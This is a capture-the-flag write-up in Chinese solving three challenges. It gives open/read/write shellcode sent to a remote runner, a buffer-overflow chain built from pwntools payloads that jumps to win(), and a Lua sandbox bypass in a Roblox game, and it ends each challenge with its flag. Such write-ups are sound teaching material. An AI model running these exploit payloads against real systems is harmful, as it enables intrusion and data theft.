Crab Trap

这题没给本地附件,入口就是远程shellcode runner。
banner里把限制说得很明白:最多收512字节shellcode,seccomp只放
open/read/write,execve会被拦。

所以不用想着拿shell,直接ORW读flag即可:

open("flag.txt", 0) -> read(fd, buf, 256) -> write(1, buf, n)

一开始我先丢了一个只调用write(1, "ZENPROBE\n", 9)的小shellcode,确认远程确实会执行amd64 shellcode,write也在白名单里。到这里路线就很短了,剩下的问题只是flag路径。常见路径试了一下,flag.txt能读到。

shellcode本身也很直接。把文件名压到栈上,open返回的fd放进edi,读到栈上,再把实际读到的长度作为write的第三个参数。

核心shellcode:

push "flag.txt"
mov rdi, rsp
xor esi, esi
xor edx, edx
mov eax, 2
syscall

mov edi, eax
mov rsi, rsp
mov edx, 256
xor eax, eax
syscall

mov edx, eax
mov edi, 1
mov eax, 1
syscall

完整exp:

from pwn import *

context.clear(arch="amd64", os="linux")
context.log_level = "error"

HOST = "0.cloud.chals.io"
PORT = 34381

CANDIDATES = [
    "flag",
    "flag.txt",
    "./flag",
    "./flag.txt",
    "/flag",
    "/flag.txt",
    "/app/flag",
    "/app/flag.txt",
    "/home/ctf/flag",
    "/home/ctf/flag.txt",
    "/challenge/flag",
    "/challenge/flag.txt",
]


def shellcode(path: str) -> bytes:
    return asm(
        f"""
        {shellcraft.pushstr(path)}
        mov rdi, rsp
        xor esi, esi
        xor edx, edx
        mov eax, 2
        syscall

        mov edi, eax
        mov rsi, rsp
        mov edx, 256
        xor eax, eax
        syscall

        mov edx, eax
        mov edi, 1
        mov eax, 1
        syscall
        """
    )


def attempt(path: str) -> bytes:
    sc = shellcode(path)
    if len(sc) > 512:
        raise ValueError(f"shellcode too long for {path}: {len(sc)}")
    io = remote(HOST, PORT)
    io.recvuntil(b"> ")
    io.send(sc)
    data = io.recvall(timeout=3)
    io.close()
    return data


def main() -> None:
    for path in CANDIDATES:
        data = attempt(path)
        body = data.split(b"Good luck, sailor.\n", 1)[-1]
        print(f"=== {path} ===")
        print(body.decode("latin-1", "replace"))
        if b"bronco{" in body.lower() or b"flag{" in body.lower() or b"ctf{" in body.lower():
            return


if __name__ == "__main__":
    main()

Flag:

bronco{h0w_c4n_mr_kr4b5_c0de}

Proper Pwning

源码直接给了,整体就是四次gets。前三次是gate,要把局部变量改成能放行的状态;最后进treasure_room,再溢出返回地址跳win。

保护也很配合:没canary、没PIE、NX还关了。这里不用上shellcode,程序里已经有win(),地址固定在0x40123b。

过三个gate

主逻辑很短:

if (gate1() == -1) return 0;
if (gate2() == -1) return 0;
if (gate3() == -1) return 0;
treasure_room();

每个gate里都有一个栈上的gate变量,初始是CLOSED,然后直接gets(buffer):

int gate1() {
    volatile int gate = CLOSED;
    int buffer[64];

    gets(buffer);
    if (gate == CLOSED) {
        return -1;
    } else {
        return 1;
    }
}

所以第一关就是覆盖gate成非0。反汇编里buffer在rbp-0x110,gate在rbp-0x4,偏移是0x10c,也就是268。

第二关多了一个baby_chicken:

int gate2() {
    volatile int gate = CLOSED;
    volatile int baby_chicken = ALIVE;
    long buffer[64];

    gets(buffer);
    if (baby_chicken != ALIVE) {
        return -1;
    }
    if (gate == CLOSED) {
        return -1;
    } else {
        return 1;
    }
}

这里不能只把后面的gate改掉,因为溢出会先碰到baby_chicken。布局是buffer在rbp-0x210,baby_chicken在rbp-0x8,gate在rbp-0x4。所以offset520处写41,offset524处写1。

第三关要求精确值:

int gate3() {
    volatile int gate = CLOSED;
    char buffer[67];

    gets(buffer);
    if (gate == 13371337) {
        printf("win() is that way, located at %p\n", (void *)win);
        return 1;
    }
    return -1;
}

布局是buffer在rbp-0x50,gate在rbp-0x4,偏移0x4c。这里写p32(13371337)即可。这个输入里带\x00,所以脚本要按bytes发,不能手输字符串。

最后一跳

进了treasure_room以后还有一次gets:

void treasure_room() {
    char buffer[6767];

    gets(buffer);

    printf("\nTREASURE?\n");
    return;
}

反汇编里实际栈帧是rbp-0x1a70,返回地址在rbp+8,所以覆盖返回地址的offset是0x1a78。

这里有个小点:直接把返回地址写成win,能进win打印banner,但后面调用system("/bin/cat flag.txt")时会因为栈对齐崩掉。前面垫一个普通ret gadget,把栈重新对齐,再跳win就稳了。

最终第四段payload是:

b"A" * 0x1a78 + p64(ret) + p64(win)

exp

from pwn import *

context.binary = elf = ELF("./proper", checksec=False)
context.log_level = "info"


def start():
    if args.REMOTE:
        return remote("0.cloud.chals.io", 21543)
    return process("./proper")


ret = ROP(elf).find_gadget(["ret"])[0]
win = elf.sym["win"]

payloads = [
    b"A" * 268 + b"B",
    b"A" * 520 + p32(41) + p32(1),
    b"A" * 76 + p32(13371337),
    b"A" * 0x1a78 + p64(ret) + p64(win),
]

io = start()
for payload in payloads:
    io.sendline(payload)

io.interactive()

Flag:

bronco{1m_th3_b35t_PWN3r_1n_th3_wh0l3_w1d3_w0r1d}

World's Hardestest Flag

题目考点

Roblox地图逆向,客户端过滤绕过,服务端Lua沙箱逻辑漏洞。

附件给了一个mrdeh-hardestest.rbxl,简介里也说了真实flag在Roblox游戏里的“SecureDeh9001Server”。这题不是传统ELF pwn,本地文件主要用来还原游戏逻辑,最后要进真实Roblox游戏触发一次。

本地文件是Roblox二进制place,开头是<roblox!。新版块压缩用了zstd,老的rbxl解析脚本按LZ4会直接炸。把块解出来以后,关键脚本很明显:

StarterGui.SecureDeh9001TerminalHolder.SecureDehTerminal.SecureDeh9001TerminalScript
ServerScriptService.SecureDeh9001Server-Mainframe.SecureDeh9001Server
ReplicatedStorage.SecureDeh9001Server-Pipeline.ExecuteCode

终端逻辑

客户端有一个SecureDeh9001Terminal,输入框里的内容会先过一层关键词黑名单,然后通过ExecuteCode这个RemoteEvent发给服务器。

客户端黑名单如下:

local bannedWords = {"position", "humanoid", "destroy", "name", "typetag", "flag"}

检查方式就是对输入整体做string.lower以后string.find。所以这里拦的是连续字符串,不是语义级别的Lua token。只要不直接出现typetag和flag这些字面量,就能发到服务器。

服务器端会用ReplicatedStorage.Loadstring编译并执行我们发过去的Lua代码,不过环境是自定义的,只给了一些安全函数和两个关键函数:

write = write_mem,
read = read_mem,
print = function(...)
    ...
    executeEvent:FireClient(player, "SERVER: " .. str)
end

print会把输出回显到终端UI里,这正好可以拿来带出flag。

漏洞点

服务端每次执行代码时都会创建一份模拟内存:

local Storage = {
    [0x6767] = { TypeTag = 0, Value = FLAG },
    [0x4141] = { TypeTag = 4, Value = "You!" }
}

read看起来保护了0x6767:

local function read(address)
    local tvalue = Storage[address]
    if not tvalue then return "nil" end
    if tvalue.TypeTag == 0 then return "[ACCESS DENIED]" end
    return tvalue.Value
end

但是write没有任何私有地址检查,也没有禁止改TypeTag:

local function write(address, new_data)
    if Storage[address] then
        for key, val in pairs(new_data) do
            Storage[address][key] = val
        end
    end
end

所以只要把0x6767那一项的TypeTag改成非0,再读Value即可。注意这里Storage是每次server_execute重新创建的,不能先提交一次write再提交一次read,必须放在同一次输入里。

客户端黑名单会拦连续的typetag,直接写{TypeTag=4}会被杀。Lua里table的key可以用表达式构造,拼成同一个字段名即可:

["Type".."Tag"]

最终payload:

write(0x6767,{["Type".."Tag"]=4});print(read(0x6767))

这行里没有连续的typetag,也没有flag,能过客户端过滤。服务器执行后先改掉私有对象的类型标记,再调用read(0x6767),print把结果回显到终端。

实际操作

进题目给的Roblox游戏以后,左侧偏下有一个终端图标。点开以后会出现Terminal面板,把payload粘进去点Submit。

远程回显拿到:

bronco{d34th_t0_th3_dehs_f0r3v3r}

Flag

bronco{d34th_t0_th3_dehs_f0r3v3r}